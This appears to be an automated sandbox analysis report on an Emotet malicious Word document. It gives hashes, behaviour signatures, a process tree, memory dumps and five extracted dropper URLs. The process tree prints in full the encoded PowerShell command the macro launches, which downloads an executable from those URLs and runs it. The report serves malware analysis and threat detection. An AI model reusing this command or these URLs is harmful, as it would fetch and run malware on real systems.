Analysis
- max time kernel
135s - max time network
136s - platform
windows10_x64 - resource
win10 - submitted
13/08/2020, 17:50
General
- Target emotet_e3_894dfe7d84439530c0f7bdca76e92f6d9ff10fe2121e0ff8decfea3153f5e91f_2020-08-13__174835._doc.doc
- Size 230KB
- Sample200813-ffezhvfr4n
- SHA256 894dfe7d84439530c0f7bdca76e92f6d9ff10fe2121e0ff8decfea3153f5e91f
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
-
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
-
exe.dropper
http://riandutra.com/img/yiZS/
-
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
-
exe.dropper
http://mycyberhealth.online/yyczief/wlW/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 22 IoCs
- JavaScript code in executable 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 2 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_894dfe7d84439530c0f7bdca76e92f6d9ff10fe2121e0ff8decfea3153f5e91f_2020-08-13__174835._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\.CR.14411\Avira.Spotlight.Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\.CR.14411\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=Wmzy.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/996-10-0x00007FF880A70000-0x00007FF88145C000-memory.dmp
memory/996-11-0x000002A7385B0000-0x000002A7385B1000-memory.dmp
memory/996-12-0x000002A7508E0000-0x000002A7508E1000-memory.dmp
memory/2480-33-0x0000000005AF0000-0x0000000005AF1000-memory.dmp
memory/2480-65-0x000000000A3A0000-0x000000000A3A1000-memory.dmp
memory/2480-26-0x0000000005AC0000-0x0000000005AC1000-memory.dmp
memory/2480-22-0x00000000056C0000-0x00000000056C1000-memory.dmp
memory/2480-36-0x0000000005B20000-0x0000000005B21000-memory.dmp
memory/2480-38-0x0000000006220000-0x0000000006221000-memory.dmp
memory/2480-30-0x0000000005B40000-0x0000000005B41000-memory.dmp
memory/2480-41-0x0000000005C00000-0x0000000005C01000-memory.dmp
memory/2480-52-0x0000000005CE0000-0x0000000005CE1000-memory.dmp
memory/2480-64-0x00000000090C0000-0x00000000090C1000-memory.dmp
memory/2480-63-0x0000000006C60000-0x0000000006C61000-memory.dmp
memory/2480-44-0x0000000005C90000-0x0000000005C91000-memory.dmp
memory/2480-61-0x0000000005F20000-0x0000000005F21000-memory.dmp
memory/2480-18-0x0000000000D70000-0x0000000000D71000-memory.dmp
memory/2480-17-0x00000000733E0000-0x0000000073ACE000-memory.dmp
memory/2480-56-0x0000000005C70000-0x0000000005C71000-memory.dmp
memory/3876-9-0x000001789635B000-0x000001789635C000-memory.dmp
memory/3876-3-0x0000017896178000-0x000001789617D000-memory.dmp
memory/3876-1-0x0000017896178000-0x000001789617D000-memory.dmp
memory/3876-4-0x0000017893B0F000-0x0000017893B14000-memory.dmp
memory/3876-2-0x000001789617D000-0x0000017896182000-memory.dmp
memory/3876-5-0x000001789635D000-0x0000017896362000-memory.dmp
memory/3876-6-0x000001789635D000-0x0000017896362000-memory.dmp
memory/3876-7-0x000001789635C000-0x000001789635D000-memory.dmp
memory/3876-8-0x000001789635D000-0x0000017896362000-memory.dmp
memory/3876-0-0x00007FF888BA0000-0x00007FF889266000-memory.dmp